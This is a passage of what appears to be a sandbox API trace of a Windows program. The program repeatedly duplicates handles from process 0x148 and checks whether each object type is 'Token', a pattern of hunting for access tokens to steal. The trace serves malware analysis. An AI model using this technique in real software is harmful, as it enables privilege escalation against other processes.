Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.801] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.801] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.801] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.801] LocalFree (hMem=0x160a40) returned 0x0 [0196.801] CloseHandle (hObject=0x16c) returned 1 [0196.801] CloseHandle (hObject=0x168) returned 1 [0196.801] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.801] GetCurrentProcess () returned 0xffffffffffffffff [0196.801] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.801] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.801] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.801] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.801] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.801] LocalFree (hMem=0x160a40) returned 0x0 [0196.801] CloseHandle (hObject=0x16c) returned 1 [0196.801] CloseHandle (hObject=0x168) returned 1 [0196.801] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.801] GetCurrentProcess () returned 0xffffffffffffffff [0196.801] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x178, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.801] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.801] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.801] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.801] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.801] LocalFree (hMem=0x160a40) returned 0x0 [0196.802] CloseHandle (hObject=0x16c) returned 1 [0196.802] CloseHandle (hObject=0x168) returned 1 [0196.802] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.802] GetCurrentProcess () returned 0xffffffffffffffff [0196.802] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x17c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.802] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.802] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.802] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.802] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.802] LocalFree (hMem=0x160a40) returned 0x0 [0196.802] CloseHandle (hObject=0x16c) returned 1 [0196.802] CloseHandle (hObject=0x168) returned 1 [0196.802] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.802] GetCurrentProcess () returned 0xffffffffffffffff [0196.802] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x180, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.802] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.802] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.802] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.802] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.802] LocalFree (hMem=0x181a40) returned 0x0 [0196.802] CloseHandle (hObject=0x16c) returned 1 [0196.802] CloseHandle (hObject=0x168) returned 1 [0196.802] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.803] GetCurrentProcess () returned 0xffffffffffffffff [0196.803] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.803] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.803] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.803] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.803] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.803] LocalFree (hMem=0x160a40) returned 0x0 [0196.803] CloseHandle (hObject=0x16c) returned 1 [0196.803] CloseHandle (hObject=0x168) returned 1 [0196.803] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.803] GetCurrentProcess () returned 0xffffffffffffffff [0196.803] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x188, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.803] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.803] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.803] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.803] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.803] LocalFree (hMem=0x160a40) returned 0x0 [0196.803] CloseHandle (hObject=0x16c) returned 1 [0196.803] CloseHandle (hObject=0x168) returned 1 [0196.803] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.803] GetCurrentProcess () returned 0xffffffffffffffff [0196.804] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x18c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.804] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.804] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.804] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.804] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.804] LocalFree (hMem=0x160a40) returned 0x0 [0196.804] CloseHandle (hObject=0x16c) returned 1 [0196.804] CloseHandle (hObject=0x168) returned 1 [0196.804] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.804] GetCurrentProcess () returned 0xffffffffffffffff [0196.804] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x190, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.804] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.804] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.804] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.804] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.804] LocalFree (hMem=0x160a40) returned 0x0 [0196.804] CloseHandle (hObject=0x16c) returned 1 [0196.804] CloseHandle (hObject=0x168) returned 1 [0196.804] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.804] GetCurrentProcess () returned 0xffffffffffffffff [0196.804] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x194, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.804] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.804] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.804] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.805] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.805] LocalFree (hMem=0x160a40) returned 0x0 [0196.805] CloseHandle (hObject=0x16c) returned 1 [0196.805] CloseHandle (hObject=0x168) returned 1 [0196.805] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.805] GetCurrentProcess () returned 0xffffffffffffffff [0196.805] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x198, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.805] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.805] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.805] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.805] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.805] LocalFree (hMem=0x160a40) returned 0x0 [0196.805] CloseHandle (hObject=0x16c) returned 1 [0196.805] CloseHandle (hObject=0x168) returned 1 [0196.805] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.805] GetCurrentProcess () returned 0xffffffffffffffff [0196.805] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x19c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.805] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.805] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.805] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.805] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.805] LocalFree (hMem=0x160a40) returned 0x0 [0196.805] CloseHandle (hObject=0x16c) returned 1 [0196.805] CloseHandle (hObject=0x168) returned 1 [0196.805] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.806] GetCurrentProcess () returned 0xffffffffffffffff [0196.806] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1a4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.806] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.806] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.806] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.806] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.806] LocalFree (hMem=0x160a40) returned 0x0 [0196.806] CloseHandle (hObject=0x16c) returned 1 [0196.806] CloseHandle (hObject=0x168) returned 1 [0196.806] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.806] GetCurrentProcess () returned 0xffffffffffffffff [0196.806] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1a8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.806] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.806] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.806] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.806] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.806] LocalFree (hMem=0x160a40) returned 0x0 [0196.806] CloseHandle (hObject=0x16c) returned 1 [0196.806] CloseHandle (hObject=0x168) returned 1 [0196.806] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.806] GetCurrentProcess () returned 0xffffffffffffffff [0196.806] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1ac, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.806] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.806] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.806] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.807] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.807] LocalFree (hMem=0x181a40) returned 0x0 [0196.807] CloseHandle (hObject=0x16c) returned 1 [0196.807] CloseHandle (hObject=0x168) returned 1 [0196.807] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.807] GetCurrentProcess () returned 0xffffffffffffffff [0196.807] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.807] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.807] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.807] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.807] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.807] LocalFree (hMem=0x160a40) returned 0x0 [0196.807] CloseHandle (hObject=0x16c) returned 1 [0196.807] CloseHandle (hObject=0x168) returned 1 [0196.807] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.807] GetCurrentProcess () returned 0xffffffffffffffff [0196.807] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.807] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.807] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.807] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.807] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.807] LocalFree (hMem=0x160a40) returned 0x0 [0196.807] CloseHandle (hObject=0x16c) returned 1 [0196.807] CloseHandle (hObject=0x168) returned 1 [0196.807] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.808] GetCurrentProcess () returned 0xffffffffffffffff [0196.808] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1b8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.808] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.808] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.808] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.808] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.808] LocalFree (hMem=0x160a40) returned 0x0 [0196.808] CloseHandle (hObject=0x16c) returned 1 [0196.808] CloseHandle (hObject=0x168) returned 1 [0196.808] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.808] GetCurrentProcess () returned 0xffffffffffffffff [0196.808] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1bc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.808] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.808] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.808] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.808] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.808] LocalFree (hMem=0x160a40) returned 0x0 [0196.808] CloseHandle (hObject=0x16c) returned 1 [0196.808] CloseHandle (hObject=0x168) returned 1 [0196.808] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.808] GetCurrentProcess () returned 0xffffffffffffffff [0196.808] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.808] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.808] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.808] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.809] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.809] LocalFree (hMem=0x160a40) returned 0x0 [0196.809] CloseHandle (hObject=0x16c) returned 1 [0196.809] CloseHandle (hObject=0x168) returned 1 [0196.809] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.809] GetCurrentProcess () returned 0xffffffffffffffff [0196.809] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1c4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.809] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.809] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.809] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.809] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.809] LocalFree (hMem=0x160a40) returned 0x0 [0196.809] CloseHandle (hObject=0x16c) returned 1 [0196.809] CloseHandle (hObject=0x168) returned 1 [0196.809] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.809] GetCurrentProcess () returned 0xffffffffffffffff [0196.809] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1c8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.809] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.809] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.809] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.809] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.809] LocalFree (hMem=0x160a40) returned 0x0 [0196.809] CloseHandle (hObject=0x16c) returned 1 [0196.809] CloseHandle (hObject=0x168) returned 1 [0196.809] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.810] GetCurrentProcess () returned 0xffffffffffffffff [0196.810] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1cc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.810] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.810] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.810] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.810] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.810] LocalFree (hMem=0x160a40) returned 0x0 [0196.810] CloseHandle (hObject=0x16c) returned 1 [0196.810] CloseHandle (hObject=0x168) returned 1 [0196.810] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.810] GetCurrentProcess () returned 0xffffffffffffffff [0196.810] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1d0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.810] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.810] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.810] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.810] RtlEqualUnicodeString (String1="Thread", String2="Token", 